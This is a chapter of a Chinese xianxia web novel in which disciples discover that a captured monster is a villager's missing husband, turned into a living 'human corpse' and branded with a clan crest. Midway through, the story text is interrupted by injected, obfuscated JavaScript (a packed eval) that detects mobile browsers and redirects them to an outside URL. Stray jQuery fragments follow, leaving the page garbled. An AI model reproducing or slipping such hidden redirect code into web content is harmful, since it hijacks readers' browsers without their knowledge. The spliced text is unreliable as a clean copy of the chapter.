23. 第 23 章
作品:《我家师弟》 尸傀栽倒在地上,向北星惊讶转头,正好看见祁炎收回掷出的手,衣袖还在微微颤动。
众人纷纷凑过来,看着穿透皮肉的木棍,面露惊讶。
“祁师弟,这木棍是……你掷过去的吗?没想到师弟竟有如此厉害的身手。”沈椿意味深长地打量着这个平日里不显山露水的师弟。
祁炎神色淡然:“称不上有多厉害,不过力气大了些。”
转身走向向北星,那副淡然的神色,也多了些温度:“师姐,有没有事?可有受伤?”
向北星摇了摇头:“没事。”
被她揽住的万红,身体瘫软,甚至能够清晰地感受到她浑身都在颤抖。
沈椿蹲在万红的身前,柔声道:“别怕,尸傀已经制住了,伤不了你分毫。”
万红嘴唇哆嗦着,已经被吓得说不出话。
司宇从人群后挤上前,愤愤不平地道:“这可怎么算,两个尸傀,有一个还是被废……”
他的话还没有说完,对上沈椿横来的眼神,只得悻悻改口:“还是被祁炎制住的,那第三场试炼究竟算是谁赢?”
祁炎冷声道:“不必算我,我只不过扔了一个棍子,凑巧罢了。”
“装什么装!”司宇不由得哼了一声。
顾轶道:“别争了。事有蹊跷,原先长老们说,此处只有一个邪祟,没想到又多出来一个,这多出来的邪祟也不知道是什么来头,还是要带回去交长老们处置。”
说着,将伏妖网收起来,众人上前准备将尸傀捆起来。
啊——
万红突然发出一声撕心裂肺的尖叫,声音尖锐得似要刺穿耳膜。
司宇捂着耳朵怒道:“一惊一乍的做什么!”
万红浑身发抖,手指颤巍巍地指向被捆成一团的尸傀,许久才找回自己的声音,却也只挤出几个破碎的音节:“它…它……手…手!”
她突然扑到尸傀跟前,盯着它看了好一会儿,整个人如遭雷击般跌坐在地,号啕大哭,声音凄然。
众人皆是一片迷茫,面面相觑,不明所以。
向北星想起万红刚才所指的方向,正是尸傀的手腕,定睛一看,似乎有什么东西,卡在手腕的烂肉中,一时间难以分辨。
即便如此向北星还是认出来了。
万红说过,这腕绳里缠着他们夫妻的结发,两人各执一条,从未离身。加上万红嘴里破碎的话语……
向北星脸色骤变,蹲下身握住万红颤抖的肩膀,声音发紧:“万红,他可是你失踪了的夫君付强?”
此言一出,众人皆惊,所有目光齐刷刷投向瘫坐在地的万红。
万红嗓音带哽,哭得人一抽一抽:“是...是他...,他手上戴着的腕绳,正是我们的定情之物,说好的,这辈子永远不会摘下来。我不会认错的,这就是我夫君…可他怎么会变成这样!”
泪水顺着她眼角滑下脸庞,呜呜哭泣。
不对劲,向北星眉头紧锁,昨日她施展定魂术时,感应到万红的夫君尚在人世。定魂术绝不可能出现意外。
除非……
思及此出,一个可怕的猜测浮上心头。
向北星拨开人群,走到邪祟旁边,伸出两只手指,贴上它的脖颈,瞳孔骤缩:“他还活着。”
这具躯体虽凉,却并不是死人的阴冷,还有一丝温度。
指尖下传来微弱的脉搏,便证明心脏还在跳动。
人与邪祟最大的差别就是——邪祟,是靠着人死后的一股怨气化成,绝对不会有脉搏和温度。
而如今付强的这副样子,既不是人,也不是尸傀。
“人尸。”
向北星脑中蹦出这个词,不由得脱口而出。
“你说……人尸?”顾轶声音一颤,几乎以为自己听错。
向北星无比确定地吐出一个字:“是。”
其余修士面面相觑,他们从未听到过此物,顾轶脸色却变得极为难看。
其中一人忍不住问:“顾师兄,何为人尸?”
顾轶对此所知不深,只是听长老们偶然提及过且颇为避讳。出于好奇,他私下去寻古籍查过,这才有所了解。
他缓缓道:“人尸是邪修才会用的禁术,以秘法炼制,活人生魂剥离,将其炼成没有意识,只能唯命是从的傀儡。”
“活、活人炼制的?”
“这世间怎会有如此有违天道的邪术!”
其他弟子面上惊骇的神情,简直与顾轶当年初闻此事时如出一辙。
这些年轻修士虽是修仙界的精英,终究在象牙塔中生活久了,涉世不深,何曾见过如此骇人听闻之事?
将活人生生炼成人尸,这般手段,简直令人发指。
顾轶又道:“五十年前,此邪术曾在修仙界掀起轩然大波,引得宗门众多修士群起讨伐,联手诛邪。本以为这邪术早已销声匿迹,却没想到会重现于世。”
而做出此事的邪修,更加丧心病狂。
付强被炼化为人尸,已是天理难容,竟还用火毁了他的容貌,或许是怕被人认出真实身份,恐惹来不必要的麻烦,这才出此下此毒手。
可惜千算万算,漏了那根腕绳,还是让万红一眼认出了他。
盼望已久的夫君还活着,就在自己眼前,然而却已变得面目全非。
浑身皮肤溃烂满是恶疮,从脸到手到脚,竟找不出一寸完好的肌肤,面目狰狞早已看不出人形,活似从地狱爬出的恶鬼。
实在是难以想象,他失踪的这些时日里,究竟遭受了怎样非人的折磨,才会变成这副人不人鬼不鬼的模样。
夜风呜咽,万红的哭声在院中回荡,在这个夜里变得尤其清晰。
向北星在此时却异常冷静,她沉声道:“既然是人尸,未必没有转机。他现下伤得这般重,再耽搁下去恐有性命之忧。先抬进房里救治。至于他如何变成这个模样...还是等他醒来,再问清楚吧。”
此时也没有其他办法,只是付强如一摊烂肉,浑身散发着腐臭的气味,没有人愿意上前帮忙,大家看天的看天,看地的看地,谁也不愿意脏了自己的手。
“我来。”
祁炎走过来,挽起衣袖,俯身托起付强的肩膀,向北星和万红见状,也赶忙上前帮忙。
就在三人合力抬起付强时,祁炎动作一顿。
向北星道:“怎么了?”
“有东西,好像是一个印记。”祁炎的声音沉了几分。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289941|198442||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这句话像是一块石头砸进平静的水面,激起层层涟漪。原本避之不及的众人又纷纷凑上来,伸长脖子想要一探究竟。
祁炎稍稍调整姿势,将付强的后背暴露在月光下。
溃烂的皮肉间,隐约可见一个烙铁留下的印记。虽然周边的皮肉溃烂的厉害,却也依稀能看得见图案的大概样子。
顾轶看着这印记,半天才将这个印记认出来,却不敢开口说出来。
反而是司宇认出来后,开始大声嚷嚷:“赤陵族!是赤陵族的族徽!”
经他这么一说,付强身上勾月形的印记,和赤陵的族徽吻合得一丝不差。
这句话仿佛一记天雷,倒吸气的声音此起彼伏的响起。
这个印记出现在这里,意味着什么,不言而喻。
赤陵族乃是如今修仙门派中的佼佼者,又同几大宗门关系甚好,就好比自家最有地位的长辈,然后突然有一天,你得知这个长辈犯了滔天大祸,你等作为小辈,到底要不要告诉家里的家长。
众人开始窃窃私语,有人小声嘀咕“兴许是搞错了”,也有人斩钉截铁地说“证据在此,不可狡辩”。
向北星对这些议论充耳不闻,与祁炎和万红一起,将付强挪进了房间。
沈椿目光终追随着他们的身影,明艳的脸异常紧绷。
一直留意她的顾轶,看见她衣袖上渗出的血迹,忍不住上前。
“沈师姐,刚才受了伤还一直没处理,先处理一下伤口吧。”
向北星将付强安顿好后,从袋子里掏出一个丹药。
因为要给善善找仙草,看见其他仙草也会一并带回,顺手搓成药丸,以备不时之需。没想到今日还真用上了。
给付强服下药后,向北星探了探他的脉。
虽然微弱,却还算平稳,起码性命无虞。
她轻舒一口气,转头看见万红立在床前,泪水在她脸上留下一片水泽。
向北星道:“他现在没事儿,只是需要时间恢复,你在旁照顾着,过两日应该就能醒了,你也不必太过担心。”
万红重重点头,道了一声多谢。
包扎完的沈椿和顾轶推门而入,沈椿道:“此人已经不算是人了,与邪祟无异,必须带回宗门交由长老处置。”
万红道:“他是我夫君,不是邪祟,仙长开恩,别带他走。”
沈椿斩钉截铁道:“不行,此人留在这里是隐患。”
一贯温和的沈椿,头一次说出这样的话,倒是让向北星有些诧异。
她上前一步,“沈师姐,他有体温,有心跳,不算是邪祟。”
“留他在此,若再发狂伤人,河西村上下谁来负责?”沈椿强硬得有些不近人情。
向北星道:“可他是人,刚才发狂兴许是被什么影响了,这件事也总是查明。等他醒了,问过后才能知道!”
沈椿道:“付强神志不清,连话都说不出,能问出什么?师妹,你不要因为怜悯,罔顾全村百姓。”
万红道:“我夫君他是人!”
“可你看他还有人的模样吗!”
万红听到沈椿的话浑身一颤,望着床上的付强,眼前一片模糊,咬了咬牙,转身离开了房间。

